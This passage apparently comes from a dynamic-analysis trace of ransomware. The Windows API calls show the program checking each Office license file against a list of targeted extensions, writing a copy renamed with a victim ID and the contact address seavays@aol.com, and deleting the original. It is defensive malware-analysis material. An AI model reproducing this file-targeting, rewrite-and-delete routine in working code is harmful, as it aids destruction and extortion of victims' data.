office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 1 [0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0196.703] lstrlenW (lpString=".doc") returned 4 [0196.703] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.703] lstrlenW (lpString=".docx") returned 5 [0196.703] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.703] lstrlenW (lpString=".pdf") returned 4 [0196.703] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.703] lstrlenW (lpString=".xls") returned 4 [0196.703] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.703] lstrlenW (lpString=".xlsx") returned 5 [0196.703] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.703] lstrlenW (lpString=".ppt") returned 4 [0196.703] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0196.703] lstrlenW (lpString=".zip") returned 4 [0196.703] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.703] lstrlenW (lpString=".rar") returned 4 [0196.703] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.703] lstrlenW (lpString=".bz2") returned 4 [0196.703] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.703] lstrlenW (lpString=".7z") returned 3 [0196.703] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0196.704] lstrlenW (lpString=".dbf") returned 4 [0196.704] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0196.704] lstrlenW (lpString=".1cd") returned 4 [0196.704] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0196.704] lstrlenW (lpString=".jpg") returned 4 [0196.704] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.705] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.705] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0196.707] GetLastError () returned 0x0 [0196.707] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0196.709] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0196.711] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.711] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11e, lpOverlapped=0x0) returned 1 [0196.711] SetEndOfFile (hFile=0x550) returned 1 [0196.711] CloseHandle (hObject=0x550) returned 1 [0196.711] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.711] SetEndOfFile (hFile=0x488) returned 1 [0196.715] CloseHandle (hObject=0x488) returned 1 [0196.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 1 [0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0196.717] lstrlenW (lpString=".doc") returned 4 [0196.717] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.717] lstrlenW (lpString=".docx") returned 5 [0196.717] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.717] lstrlenW (lpString=".pdf") returned 4 [0196.717] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.717] lstrlenW (lpString=".xls") returned 4 [0196.717] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.717] lstrlenW (lpString=".xlsx") returned 5 [0196.717] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.717] lstrlenW (lpString=".ppt") returned 4 [0196.717] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0196.717] lstrlenW (lpString=".zip") returned 4 [0196.717] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.717] lstrlenW (lpString=".rar") returned 4 [0196.717] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.717] lstrlenW (lpString=".bz2") returned 4 [0196.717] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.718] lstrlenW (lpString=".7z") returned 3 [0196.718] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0196.718] lstrlenW (lpString=".dbf") returned 4 [0196.718] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0196.718] lstrlenW (lpString=".1cd") returned 4 [0196.718] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0196.718] lstrlenW (lpString=".jpg") returned 4 [0196.718] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.723] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.723] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0196.724] GetLastError () returned 0x0 [0196.724] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x67ad, lpOverlapped=0x0) returned 1 [0196.728] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x67b0, lpOverlapped=0x0) returned 1 [0196.730] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.730] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x120, lpOverlapped=0x0) returned 1 [0196.730] SetEndOfFile (hFile=0x550) returned 1 [0196.730] CloseHandle (hObject=0x550) returned 1 [0196.730] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.730] SetEndOfFile (hFile=0x488) returned 1 [0197.903] CloseHandle (hObject=0x488) returned 1 [0197.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 1 [0198.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0198.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0198.180] lstrlenW (lpString=".doc") returned 4 [0198.180] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString=".docx") returned 5 [0198.181] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.181] lstrlenW (lpString=".pdf") returned 4 [0198.181] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString=".xls") returned 4 [0198.181] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString=".xlsx") returned 5 [0198.181] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.181] lstrlenW (lpString=".ppt") returned 4 [0198.181] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0198.181] lstrlenW (lpString=".zip") returned 4 [0198.181] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString=".rar") returned 4 [0198.181] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString=".bz2") returned 4 [0198.181] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString=".7z") returned 3 [0198.181] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0198.181] lstrlenW (lpString=".dbf") returned 4 [0198.181] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0198.181] lstrlenW (lpString=".1cd") returned 4 [0198.181] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0198.181] lstrlenW (lpString=".jpg") returned 4 [0198.182] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.185] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.186] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0198.187] GetLastError () returned 0x0 [0198.187] ReadFile (in: hFile=0x528, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0198.193] WriteFile (in: hFile=0x54c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0198.194] ReadFile (in: hFile=0x528, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.194] WriteFile (in: hFile=0x54c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11c, lpOverlapped=0x0) returned 1 [0198.195] SetEndOfFile (hFile=0x54c) returned 1 [0198.195] CloseHandle (hObject=0x54c) returned 1 [0198.195] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.195] SetEndOfFile (hFile=0x528) returned 1 [0198.199] CloseHandle (hObject=0x528) returned 1 [0198.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 1 [0198.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0198.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0198.201] lstrlenW (lpString=".doc") returned 4 [0198.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.201] lstrlenW (lpString=".docx") returned 5 [0198.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.201] lstrlenW (lpString=".pdf") returned 4 [0198.201] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.201] lstrlenW (lpString=".xls") returned 4 [0198.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.201] lstrlenW (lpString=".xlsx") returned 5 [0198.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.201] lstrlenW (lpString=".ppt") returned 4 [0198.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0198.202] lstrlenW (lpString=".zip") returned 4 [0198.202] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.202] lstrlenW (lpString=".rar") returned 4 [0198.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.202] lstrlenW (lpString=".bz2") returned 4 [0198.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.202] lstrlenW (lpString=".7z") returned 3 [0198.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0198.202] lstrlenW (lpString=".dbf") returned 4 [0198.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0198.202] lstrlenW (lpString=".1cd") returned 4 [0198.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0198.202] lstrlenW (lpString=".jpg") returned 4 [0198.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.203] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.204] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0198.205] GetLastError () returned 0x0 [0198.205] ReadFile (in: hFile=0x528, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2bab, lpOverlapped=0x0) returned 1 [0198.208] WriteFile (in: hFile=0x54c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0198.408] ReadFile (in: hFile=0x528, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.408] WriteFile (in: hFile=0x54c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x114, lpOverlapped=0x0) returned 1 [0198.408] SetEndOfFile (hFile=0x54c) returned 1 [0198.408] CloseHandle (hObject=0x54c) returned 1 [0198.409] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.409] SetEndOfFile (hFile=0x528) returned 1 [0198.412] CloseHandle (hObject=0x528) returned 1 [0198.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 1 [0198.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0198.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0198.750] lstrlenW (lpString=".doc") returned 4 [0198.750] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.750] lstrlenW (lpString=".docx") returned 5 [0198.750] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.750] lstrlenW (lpString=".pdf") returned 4 [0198.750] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.750] lstrlenW (lpString=".xls") returned 4 [0198.750] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.750] lstrlenW (lpString=".xlsx") returned 5 [0198.750] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.750] lstrlenW (lpString=".ppt") returned 4 [0198.750] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0198.750] lstrlenW (lpString=".zip") returned 4 [0198.750] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.750] lstrlenW (lpString=".rar") returned 4 [0198.750] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.750] lstrlenW (lpString=".bz2") returned 4 [0198.750] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.750] lstrlenW (lpString=".7z") returned 3 [0198.750] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0198.750] lstrlenW (lpString=".dbf") returned 4 [0198.750] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0198.751] lstrlenW (lpString=".1cd") returned 4 [0198.751] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0198.751] lstrlenW (lpString=".jpg") returned 4 [0198.751] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.752] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.752] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0198.754] GetLastError () returned 0x0 [0198.754] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d73, lpOverlapped=0x0) returned 1 [0198.756] WriteFile (in: hFile=0x510, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0198.758] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.758] WriteFile (in: hFile=0x510, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11e, lpOverlapped=0x0) returned 1 [0198.758] SetEndOfFile (hFile=0x510) returned 1 [0198.758] CloseHandle (hObject=0x510) returned 1 [0198.758] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.758] SetEndOfFile (hFile=0x550) returned 1 [0198.767] CloseHandle (hObject=0x550) returned 1 [0198.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 1 [0198.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0198.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0198.769] lstrlenW (lpString=".doc") returned 4 [0198.769] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.769] lstrlenW (lpString=".docx") returned 5 [0198.769] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.769] lstrlenW (lpString=".pdf") returned 4 [0198.769] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.769] lstrlenW (lpString=".xls") returned 4 [0198.769] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.769] lstrlenW (lpString=".xlsx") returned 5 [0198.769] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.770] lstrlenW (lpString=".ppt") returned 4 [0198.770] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0198.770] lstrlenW (lpString=".zip") returned 4 [0198.770] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.770] lstrlenW 